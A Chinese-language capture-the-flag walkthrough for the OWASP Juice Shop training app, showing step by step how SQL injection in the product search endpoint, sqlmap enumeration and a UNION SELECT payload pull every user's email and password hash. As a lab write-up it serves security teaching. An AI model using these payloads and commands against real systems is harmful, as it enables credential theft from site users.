# 【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据


# 【juice-shop】★★★★ User Credentials：通过 SQL 注入获取所有用户凭据

## 任务简报

<blockquote style="border-left: 5px solid #ff6b6b; background-color: #ffe0e0; padding: 20px; margin: 1.5rem 0; color: #c92a2a; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">🎯</span> 挑战目标
</div>
通过 SQL 注入获取所有用户凭据列表。
</blockquote>

<blockquote style="border-left: 5px solid #6f42c1; background-color: #f5f3ff; padding: 20px; margin: 1.5rem 0; color: #5521b5; line-height: 1.8; border-radius: 0 5px 5px 0;">
<div style="font-weight: bold; font-size: 1.1rem; margin-bottom: 10px; display: flex; align-items: center;">
<span style="margin-right: 8px;">💡</span> 官方提示 (Hints)
</div>
1. 收集关于储存用户数据的地点和如何处理的信息，然后制作一个相应的 UNION SELECT 攻击。<br>
2. 尝试找到一个端点，使你能够影响从服务器检索的数据。<br>
3. 构造一个 UNION SELECT 攻击字符串，将另一张表中的数据加入到原始结果中。<br>
4. 你可能需要逐步解决一些查询语法问题，基本上是从一个错误跳到下一个错误。<br>
5. 如同"订购 2014 年圣诞特惠套餐"和"通过 SQL 注入窃取整个数据库模式定义"，这些操作无法通过应用程序前端实现。
</blockquote>
## 实战：复现漏洞

### 步骤1：发现注入点

目标接口为商品搜索 API，通过首页搜索功能获取请求包：

```
GET /rest/products/search?q= HTTP/1.1
Host: 127.0.0.1:3000
```

**验证注入点：**

```
GET /rest/products/search?q='))--
```

**结果：** 返回错误，确认存在 SQL 注入漏洞。

### 步骤2：确定列数

使用 `ORDER BY` 逐步增加列数，直到出现错误：

```sql
-- 测试 9 列
'))  ORDER BY 9--

-- URL 编码格式
'))+order+by+9--
```

**结果：** 确认查询结果共有 **9 列**。

### 步骤3：使用 SQLMap 获取数据库结构

**第一步：保存请求包**

将请求保存到 `request.txt` 文件：

```
GET /rest/products/search?q=* HTTP/1.1
Host: 127.0.0.1:3000
```

**第二步：列出所有表**

```bash
sqlmap -r request.txt -p q --tables --batch --ignore-code=401
```

![表列表](../【juice-shop】★★★★%20Ephemeral%20Accountant：通过%20SQL%20注入凭空创建临时用户/assets/Pastedimage20260417091404.png)

**第三步：列出 Users 表的列**

```bash
sqlmap -r request.txt -p q -T Users --columns --batch --ignore-code=401
```

![Users 表列](../../../../../../public/p/juice-shop-user-credentials通过-sql-注入获取所有用户凭据/assets/Pastedimage20260417134723.png)

### 步骤4：确定显示位置

构造 UNION SELECT 测试每列的显示位置：

```sql
1')) UNION SELECT '1','2','3','4','5','6','7','8','9' FROM Users--
```

**URL 编码格式：**

```
1'))+UNION+SELECT+'1','2','3','4','5','6','7','8','9'+FROM+Users--
```

**结果：** 确认各列的显示位置。

![显示位置测试](../../../../../../public/p/juice-shop-user-credentials通过-sql-注入获取所有用户凭据/assets/Pastedimage20260417134310.png)

### 步骤5：提取所有用户凭据

构造最终的注入 Payload，使用 `-1` 让正常查询结果不显示：

```sql
-1')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users--
```

**URL 编码格式：**

```
-1'))+UNION+SELECT+id,+email,+password,+'4',+'5',+'6',+'7',+'8',+'9'+FROM+Users--
```

**Payload 说明：**

| 部分 | 说明 |
|------|------|
| `-1` | 让原始查询返回空结果（不存在 ID 为 -1 的商品） |
| `UNION SELECT` | 将 Users 表数据附加到结果中 |
| `id, email, password` | 提取用户 ID、邮箱和密码哈希 |
| `'4','5','6','7','8','9'` | 填充剩余列（占位符） |
| `FROM Users` | 数据来源表 |
| `--` | 注释掉后续 SQL 代码 |

**结果：** 成功获取所有用户的邮箱和密码哈希！

![获取用户凭据](../../../../../../public/p/juice-shop-user-credentials通过-sql-注入获取所有用户凭据/assets/Pastedimage20260417135159.png)

**挑战完成！** 🎉

## 参考

- [OWASP Juice Shop 官方解决方案 - User Credentials](https://pwning.owasp-juice.shop/companion-guide/latest/appendix/solutions.html#_retrieve_a_list_of_all_user_credentials_via_sql_injection)

